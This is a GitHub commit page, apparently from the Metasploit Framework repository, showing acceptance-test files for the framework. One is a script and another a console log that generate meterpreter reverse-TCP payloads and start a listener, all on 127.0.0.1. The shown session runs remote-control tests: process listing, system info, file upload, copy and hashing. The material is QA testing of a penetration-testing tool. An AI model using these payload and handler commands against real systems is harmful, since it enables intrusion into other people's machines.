-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4e768b0
commit 53bae9d
Showing
5,871 changed files
with
937,235 additions
and
935,966 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
There are no files selected for viewing
5,789 changes: 0 additions & 5,789 deletions
5,789
acceptance-tests/data/attachments/102966b9eca0a462.txt
This file was deleted.
Oops, something went wrong.
2,372 changes: 2,372 additions & 0 deletions
2,372
acceptance-tests/data/attachments/1037753f1ea59505.txt
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Payload | ||
use osx/x64/meterpreter_reverse_tcp | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/osxx64meterpreter_reverse_tcp_session_tlv_logging20240125-2004-mpsg7itxt | ||
|
||
## Generate command | ||
generate -o /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-osx-x---meterpreter-reverse-tcp20240125-2004-yyiuit -f macho AutoVerifySessionTimeout=30 lport=6001 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/osxx64meterpreter_reverse_tcp_debug_log20240125-2004-xowj4ftxt MeterpreterTryToFork=false MeterpreterDebugBuild=true | ||
|
||
## Create listener | ||
to_handler | ||
|
||
## Execute command | ||
/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-osx-x---meterpreter-reverse-tcp20240125-2004-yyiuit | ||
|
||
|
||
## Replication commands | ||
use test/unix | ||
run session=1 AddEntropy=true Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
use python/meterpreter_reverse_tcp | ||
Stopping all jobs... | ||
[4mmsf6[0m post([1m[31mtest/get_env[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20240125-2990-1buwditxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> generate -o /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py -f raw AutoVerifySessionTimeout=30 lport=6010 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/tmp/pythonmeterpreter_reverse_tcp_debug_log20240125-2990-rv7lyatxt MeterpreterTryToFork=false PythonMeterpreterDebug=true | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> SessionTlvLogging => file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20240125-2990-1buwditxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> [*] Writing 24920 bytes to /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py... | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> to_handler | ||
[*] Payload Handler Started as Job 9 | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> | ||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse TCP handler on 127.0.0.1:6010 | ||
[*] Meterpreter session 10 opened (127.0.0.1:6010 -> 127.0.0.1:58214) at 2024-01-25 19:34:30 +0000 | ||
use test/meterpreter | ||
[4mmsf6[0m post([1m[31mtest/meterpreter[0m) [0m> run session=10 AddEntropy=true Verbose=true | ||
[*] Setup: changing working directory to tmp: /tmp | ||
[*] Setup: Creating clean directory | ||
[*] Creating directory meterpreter-test-dir-hvxmsyeq | ||
[*] meterpreter-test-dir-hvxmsyeq created | ||
[*] Setup: Now in /tmp/meterpreter-test-dir-hvxmsyeq | ||
[*] Running against session 10 | ||
[*] Session type is meterpreter and platform is linux | ||
[+] should enumerate supported core commands | ||
[+] should support 3 or more core commands | ||
[*] Starting process tests | ||
[*] [should return its own process id] Pid: 3218 | ||
[+] should return its own process id | ||
[*] [should return a list of processes] PID info: {"pid"=>3218, "ppid"=>2990, "name"=>"python", "path"=>"python /tmp/child-process-rb-python-meterpreter-reverse-tcp20240125-2990-3qeysl.py ", "session"=>nil, "user"=>"runner", "arch"=>nil} | ||
[+] should return a list of processes | ||
[*] Starting system config tests | ||
[+] should return a user id | ||
[+] should return a sysinfo Hash | ||
[*] Starting networking tests | ||
[+] should return network interfaces | ||
[+] should have an interface that matches session_host | ||
[+] should return network routes | ||
[*] Starting filesystem tests | ||
[*] [should return the proper directory separator] received sysinfo {"Computer"=>"fv-az664-421", "OS"=>"Linux 5.15.0-1053-azure #61~20.04.1-Ubuntu SMP Tue Nov 21 17:50:57 UTC 2023", "Architecture"=>"x64", "BuildTuple"=>nil, "System Language"=>"C", "Domain"=>nil, "Logged On Users"=>nil} | ||
[*] [should return the proper directory separator] Received separator "/" - expected: "/" | ||
[+] should return the proper directory separator | ||
[*] [should return the current working directory] CWD: /tmp/meterpreter-test-dir-hvxmsyeq | ||
[+] should return the current working directory | ||
[+] should list files in the current directory | ||
[*] [should stat a directory] Current directory: "/tmp/meterpreter-test-dir-hvxmsyeq" | ||
[*] [should stat a directory] Stat of current directory: #<#<Class:0x00007f6be8eade30>:0x0000558852e094c8 @stathash={"st_dev"=>2065, "st_mode"=>16877, "st_nlink"=>2, "st_uid"=>1001, "st_gid"=>127, "st_rdev"=>0, "st_ino"=>258059, "st_size"=>4096, "st_atime"=>1706211270, "st_mtime"=>1706211270, "st_ctime"=>1706211270}> | ||
[+] should stat a directory | ||
[*] [should create and remove a dir] Directory Name: meterpreter-test-dir-nkrxeblq | ||
[*] [should create and remove a dir] Directory created successfully | ||
[*] [should create and remove a dir] Directory removed successfully | ||
[+] should create and remove a dir | ||
[*] [should change directories] Directory Name: meterpreter-test-dir-nkrxeblq | ||
[*] [should change directories] Directory created successfully | ||
[*] [should change directories] Old CWD: /tmp/meterpreter-test-dir-hvxmsyeq | ||
[*] [should change directories] New CWD: /tmp/meterpreter-test-dir-hvxmsyeq/meterpreter-test-dir-nkrxeblq | ||
[*] [should change directories] Back to old CWD: /tmp/meterpreter-test-dir-hvxmsyeq | ||
[*] [should change directories] Directory removed successfully | ||
[+] should change directories | ||
[*] [should create and remove files] File Name: meterpreter-test-nkrxeblq | ||
[*] [should create and remove files] Wrote to meterpreter-test-nkrxeblq, checking contents | ||
[*] [should create and remove files] Wrote test | ||
[+] should create and remove files | ||
[*] [should upload a file] Remote File Name: meterpreter-test-file-nkrxeblq.txt | ||
[*] [should upload a file] uploading | ||
[*] [should upload a file] done | ||
[*] [should upload a file] remote file exists? true | ||
[+] should upload a file | ||
[*] [should move files] Source File Name: meterpreter-test-nkrxeblq | ||
[*] [should move files] Destination File Name: meterpreter-test-nkrxeblq-moved | ||
[+] should move files | ||
[*] [should copy files] Source File Name: meterpreter-test-nkrxeblq | ||
[*] [should copy files] Destination File Name: meterpreter-test-nkrxeblq-copied | ||
[+] should copy files | ||
[*] [should do md5 and sha1 of files] Remote File Name: meterpreter-test-file-nkrxeblq.txt | ||
[*] [should do md5 and sha1 of files] uploading | ||
[*] [should do md5 and sha1 of files] done | ||
[*] [should do md5 and sha1 of files] remote file exists? true | ||
[*] [should do md5 and sha1 of files] remote md5: 4b9d87c1f495a5a176e18ee27f85279a | ||
[*] [should do md5 and sha1 of files] local md5 : 4b9d87c1f495a5a176e18ee27f85279a | ||
[*] [should do md5 and sha1 of files] remote sha: 5ea80bb04e521918b087c695eb6930ac25ee8a7d | ||
[*] [should do md5 and sha1 of files] local sha : 5ea80bb04e521918b087c695eb6930ac25ee8a7d | ||
[+] should do md5 and sha1 of files | ||
[*] Testing complete in 0.42 seconds | ||
[*] Passed: 20; Failed: 0; Skipped: 0 | ||
[*] Cleanup: changing working directory back to /home/runner/work/metasploit-framework/metasploit-framework | ||
[*] Post module execution completed | ||
sessions -K | ||
[4mmsf6[0m post([1m[31mtest/meterpreter[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - Meterpreter session 10 closed. | ||
[4mmsf6[0m post([1m[31mtest/meterpreter[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.